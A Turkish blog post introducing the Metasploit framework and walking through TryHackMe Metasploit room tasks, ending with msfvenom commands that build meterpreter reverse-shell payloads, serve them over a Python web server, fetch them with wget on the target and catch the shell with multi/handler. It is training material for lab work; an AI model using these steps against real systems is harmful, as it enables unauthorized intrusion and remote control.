Metasploit Nedir? Ne için kullanılır? TryHackMe Çözümleri

Aslıhan Kuzucu
7 min readJul 23, 2023

--

Bu yazımda, sizlere Metasploit’in ne olduğundan, ne işe yaradığından bahsedeceğim. Ardından Metasploit TryHackMe odalarının çözümlerini anlatacağım.

Metasploit Nedir?

Metasploit, siber güvenlik alanında kullanılan bir açık kaynaklı sızma testi (penetrasyon testi) aracıdır. Metasploit, saldırganların, zafiyetlerin ve güvenlik açıklarının tespit edilmesi, zafiyetlerin istismar edilmesi ve güvenlik sistemlerinin test edilmesi için kullanılır. Red team, sızma testi ve siber saldırı senaryolarında kullanılmak üzere geliştirilmiştir.

Kali linux terminaline msfconsole komutunu yazarak metasploite erişebiliriz.

Metasploit, exploitler, payloadlar ve diğer modüllerle çalışır.

  • Payload modülleri, hedef sistem üzerinde saldırganın istediği işlemleri gerçekleştirebilmesini sağlayan kötü amaçlı kodları içerir. Bu kodlar, genellikle bir saldırının temel amacını gerçekleştiren kodlardır.

Singles (Tekil Modüller):

Singles, kendi başlarına tamamen bağımsız ve tek bir amaca yönelik olan payload’lardır. Basit bir Single payload, hedef sisteme bir kullanıcı eklemek veya calc.exe (hesap makinesi) gibi basit bir işlemi çalıştırmak olabilir.

Bu tür payloadlar tamamen kendi içinde işlevseldir ve netcat gibi non-Metasploit araçları tarafından yakalanabilir.

Stagers:

Stagerlar, saldırgan ile kurban arasında bir ağ bağlantısı kurmayı sağlayan ve küçük ve güvenilir olacak şekilde tasarlanan modüllerdir. Hem küçük hem de güvenilir olmak her zaman kolay değildir, bu nedenle çeşitli benzer Stagerlar mevcuttur. Metasploit, mümkün olduğunda en iyi seçeneği kullanır ve gerektiğinde daha az tercih edileni kullanır.

Stages:

Stages, Stager modülleri tarafından indirilen payload bileşenleridir. Farklı payload aşamaları, Meterpreter, VNC Injection ve iPhone ‘ipwn’ Shell gibi boyut sınırlamaları olmadan gelişmiş özellikler sağlar.

  • Metasploit’te bulunan exploitler, önceden tespit edilmiş güvenlik açıklarını hedef sistemlere karşı kullanmayı sağlar. Bunun için exploitler, zafiyetlerin neden olduğu hatalardan yararlanarak hedef sisteme giriş sağlar veya sistem üzerinde istenilen bir kod parçasını yürütür. Sistem erişimi, yetki yükseltme, veri sızdırma gibi çeşitli işlevleri vardır.
  • Encoderlar, antivirüs gibi güvenlik yazılımlarını atlatmaya yarayan modüllerdir.
  • Auxiliary ise bir sistemi exploit etmeden önce sistem hakkında bilgi toplamaya yarayan modüldür.
  • Metasploit evasion, saldırganların güvenlik duvarlarını, antivirüs yazılımlarını ve diğer güvenlik önlemlerini atlatmak için kullanılan bir tekniktir. Bu teknikler, saldırıyı tespit etmek ve engellemek için alınan önlemleri aşmak için tasarlanmıştır. Evasion teknikleri, saldırganların saldırılarını tespit edilmeden veya engellenmeden hedef sisteme ulaşmalarına yardımcı olabilir.

Metasploit’in payload listesine erişmek için aşağıdaki komutu kullanabilirsiniz:

>>> show payloads

  • Exploit Seçme:

Bir hedefe karşı kullanılacak uygun bir exploit seçmeniz gerekmektedir. Exploitleri hedef sistem üzerindeki güvenlik açıklarını istismar etmek için kullanırsınız. (use komutu)

Exploit seçtikten sonra, seçilen exploitin yanına info komutu yazarak exploit hakkında detaylı bilgi edinebiliriz.

>>> msf6 exploit(windows/smb/ms17_010_eternalblue) > info

LINK 1: https://tryhackme.com/room/metasploitintro

Soru:

Cevap:

  • Hedef Ayarlama:

Exploit seçildikten sonra, hedef sistemle ilgili bilgileri belirlemek için aşağıdaki komutu kullanabilirsiniz:

Hedef localde ise : LHOST(local hosts)

Local port: LPORT

Remote port: RPORT

>>> set RHOSTS (remote hosts) hedef_ip

“setg” komutunu, tüm modüller için kullanılacak değerleri ayarlamak için kullanabilirsiniz. “setg” komutu, “set” komutu gibi kullanılır. Fark, “set” komutunu kullanarak bir modülde bir değeri ayarlarsanız ve başka bir modüle geçerseniz, değeri tekrar ayarlamanız gerekeceğidir. “setg” komutu, değeri farklı modüller arasında varsayılan olarak kullanılacak şekilde ayarlamanıza olanak tanır. “unsetg” komutunu kullanarak “setg” ile ayarlanan herhangi bir değeri silebilirsiniz.”

“search” komutu, kullanıcının belirli bir anahtar kelime veya modül adı ile Metasploit veritabanında arama yapmasını sağlayan bir komuttur. Bu komutu, saldırı modüllerini, exploitleri, payloadları ve diğer çeşitli Metasploit bileşenlerini aramak için kullanırız.

>>> search exploit_ismi

LINK 2: https://tryhackme.com/room/metasploitexploitation

Metasploit, hedef sistem ve ağda açık portları taramak için bir dizi modüle sahiptir. Potansiyel port tarama modüllerini görüntülemek için “search portscan” komutunu kullanabiliriz.

Bu komut, Metasploit veritabanında bulunan port tarama modüllerinin bir listesini gösterecektir. Bu modüller, hedef sistemde açık portları tespit etmek ve hedef sistemdeki ağ hizmetlerini analiz etmek için kullanılabilir.

  • CONCURRENCY: Aynı anda taranacak hedef sayısı.
  • PORTS: Taranacak port aralığı. Burada belirtilen “1–1000”, varsayılan yapılandırmaya sahip Nmap kullanımıyla aynı olmayacaktır. Nmap, en çok kullanılan 1000 portu tarayacakken, Metasploit 1'den 10000'e kadar olan port numaralarını tarayacaktır.
  • RHOSTS: Taranacak hedef veya hedef ağı.
  • THREADS: Aynı anda kullanılacak thread sayısı. Daha fazla thread, daha hızlı taramalara neden olacaktır.

“msfconsole” kabuk komutundan doğrudan Nmap taramalarını aşağıdaki gibi daha hızlı bir şekilde gerçekleştirebilirsiniz:

“scanner/discovery/udp_sweep” modülü, UDP (User Datagram Protocol) üzerinde çalışan servisleri hızlı bir şekilde belirlemenize olanak tanır, bu modül tüm potansiyel UDP servislerini kapsamlı bir şekilde tarayacak şekilde çalışmaz, ancak DNS veya NetBIOS gibi servisleri hızlı bir şekilde belirlemenizi sağlar.

Yukarıdaki ekran görüntüsünde, metasploit’de farklı projeler için nasıl farklı workspace’ler oluşturabileceğimiz, mevcut veri tabanı çalışma alanlarını görüntüleyebileceğimiz gösteriliyor.

db_status komutuyla mevcut workspace’i görüntüleyip, workspace -a <isim> komutuyla da yeni bir workspace oluşturabiliyoruz.

Not:

db_nmap komutu, Metasploit Framework içinde yer alan bir komuttur ve Nmap tarama sonuçlarını veritabanına kaydetmek için kullanılır. Nmap, ağ tarama ve hedef sistemde çalışan servislerin tespiti için kullanılan popüler bir tarama aracıdır. Metasploit, Nmap tarama sonuçlarını toplamak ve analiz etmek için bu komutu entegre eder.

db_nmap komutunun kullanımı:

Nmap taramasını başlatın:

Öncelikle, Nmap taramasını hedef ağdaki belirli IP adresleri ve port aralıklarıyla başlatmanız gerekmektedir. Nmap taramasını aşağıdaki gibi gerçekleştirebilirsiniz:

>>> nmap -sV port_aralıgı hedef_ip_adresi

db_nmap komutunu kullanın:

Nmap taramasını tamamladıktan sonra, Metasploit konsolunda db_nmap komutunu kullanarak tarama sonuçlarını veritabanına aktarabilirsiniz:

>>> db_nmap -v -sV -pport_aralıgı hedef_ip_adresi

Burada -v seçeneği, işlemi ayrıntılı bir şekilde görüntülemek için kullanılır ve -sV seçeneği, hedef sistemde çalışan servislerin sürüm bilgilerini toplamak için kullanılır.

Veritabanında tarama sonuçlarını görüntüleme:

db_nmap komutu tarama sonuçlarını veritabanına kaydeder. Kaydedilen sonuçları Metasploit veritabanında görüntülemek için hosts ve services tablolarını kullanabilirsiniz. Bu bilgiler, daha fazla analiz veya saldırı vektörleri oluşturmak için kullanılabilir.

db_nmap komutu, tarama sonuçlarını Metasploit veritabanına entegre etmeyi kolaylaştırır ve bu sonuçları diğer modüllerle kullanmanıza olanak tanır.

Who wrote the module that allows us to check SMTP servers for open relay?

Kaynak <https://tryhackme.com/room/metasploitexploitation>

Bu soruya cevap vermek için yapmamız gerekenler:

>>> search smtp

Ardından:

Exploit arama:

  • “search” komutunu kullanarak belirli bir exploit’i arayabilirsiniz. Bu komut, Metasploit veritabanında bulunan exploitlerin bir listesini gösterecektir.
  • Exploit hakkında bilgi alma:

“info” komutunu kullanarak seçtiğiniz exploit hakkında daha fazla bilgi edinebilirsiniz. Bu komut, exploit’in ne yaptığı, nasıl çalıştığı ve hedef sistem üzerinde ne tür bir etki yarattığı gibi ayrıntılı açıklamaları içerir.

  • Exploit’i çalıştırma:

Exploit’i çalıştırmak için “exploit” komutunu kullanabilirsiniz. Ancak, exploit’i başarılı bir şekilde kullanabilmek için hedef sistemin çalışan servisleri ve konfigürasyonu hakkında iyi bir anlayışa sahip olmanız önemlidir.

Sessions

“sessions” komutu, tüm aktif oturumları listelemek için kullanılır. “sessions” komutu, oturumları daha iyi yönetmenize yardımcı olacak bir dizi seçeneği destekler. Varolan herhangi bir oturumla etkileşimde bulunmak için “sessions -i” komutunu ve ardından oturum kimliğini kullanabilirsiniz.

Örneğin:

  • Aktif oturumları listelemek için: sessions
  • Belirli bir oturumla etkileşimde bulunmak için: sessions -i <oturum_kimliği>

Lütfen unutmayın, “sessions” komutu yalnızca exploitlerin başarıyla kullanılmasından sonra aktif oturumların oluşturulduğu zaman çalışır. Bu oturumlar, hedef sistem üzerinde kontrol sağlamak için kullanılabilir.

msfvenom

Zararlı kod üretmemizi ve karşı taraftan reverse bağlantı almamızı sağlayan bir araçtır. msfvenom aracı sayesinde oluşturulan zararlı yazılım ve kodları, hedef sistemlere saldırmak için kullanır. Bu zararlı içerikler, belirlenen güvenlik açıklarını istismar ederek hedef sisteme sızmayı ve kontrol etmeyi amaçlar.

Payloads oluşturulmasını sağlayan bir araç olan msfvenom’un temel komutları aşağıdaki gibidir:

  • -p (veya — payload): Bu parametre, oluşturulacak yüklemenin türünü belirler. Metasploit’te bulunan farklı yüklemeler için bu seçenek kullanılır. Örnek olarak, Windows için bir arka kapı yüklemesi “windows/meterpreter/reverse_tcp” olarak belirtilebilir.
  • LHOST (veya — lhost): Bu, hedefin IP adresini belirtir. Oluşturulan yüklemenin hangi IP adresi ve porta bağlanacağını belirlemek için kullanılır. Genellikle saldırganın IP adresi belirtilir.
  • LPORT (veya — lport): Bu, hedef sistemin hangi portundan dinlemek için kullanılacağını belirler. Oluşturulan yüklemenin hangi port üzerinden saldırganla iletişim kuracağını belirler.
  • -f (veya — format): Oluşturulacak yüklemenin çıktı biçimini belirlemek için kullanılır. Örneğin, “exe”, “dll”, “elf”, “php”, vb. gibi farklı biçimler seçilebilir.
  • -o (veya — out): Bu parametre, oluşturulan yüklemenin kaydedileceği dosyanın adını belirler. Yüklemenin hangi dosyaya kaydedileceğini belirtmek için kullanılır.
  • — platform: Bu, hedef platformu belirlemek için kullanılır. Örneğin, “Windows”, “Linux”, “Android”, “iOS” gibi hedefin işletim sistemi veya cihaz tipi seçilebilir.
  • — arch: Bu, oluşturulacak yüklemenin mimarisini belirtir. Örneğin, “x86”, “x64”, “armle”, “aarch64” gibi farklı mimariler seçilebilir.

Örneğin:

Bu komut, Windows için bir back door yüklemesi oluşturacak:

>>> msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.100 LPORT=4444 -f exe -o payload.exe

TASK 6

>>> msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f elf > rev_shell.elf

Burada 10.10.X.X ve XXXX kısımlarını hedef makinenin IP adresi ve seçtiğiniz bir port numarasıyla değiştirmelisiniz. Bu komut, .elf formatında bir dosya olan rev_shell.elf adlı bir meterpreter yüklemesi oluşturacaktır.

Saldıran makinede Python web sunucusunu başlatın:

python3 -m http.server 9000

Hedef makinede şu komutu kullanarak dosyayı indirin:

>>> wget http://SALDIRI_MAKINESI_IP:9000/rev_shell.elf

Hedef makinede bir meterpreter oturumu elde edin:

>>> msfconsole

>>> use exploit/multi/handler #”use exploit/multi/handler komutu, Metasploit Framework’te “Exploit/Multi/Handler” modülünü etkinleştirmek için kullanılır. Bu modül, saldırı yüklemelerini (payloads) almak ve hedef sistemlere başarılı bir şekilde sızdıktan sonra bu yüklemelerle iletişim kurmak için bir “dinleyici” (handler) görevi görür.”#

>>> set payload linux/x86/meterpreter/reverse_tcp

Ardından, yüklemeyi oluştururken kullandığınız LHOST ve LPORT değerlerini burada da ayarlayın.

>>> set LHOST ****

>>> set LPORT ****

Hedef makinede, dosyaya çalıştırılabilir izinler verin:

>>> chmod +x rev_shell.elf

Son olarak dosyayı çalıştırın:

>>> ./rev_shell.elf

--

--

Aslıhan Kuzucu
Aslıhan Kuzucu

Written by Aslıhan Kuzucu

Curious computer engineer interested in cyber security👩‍💻

No responses yet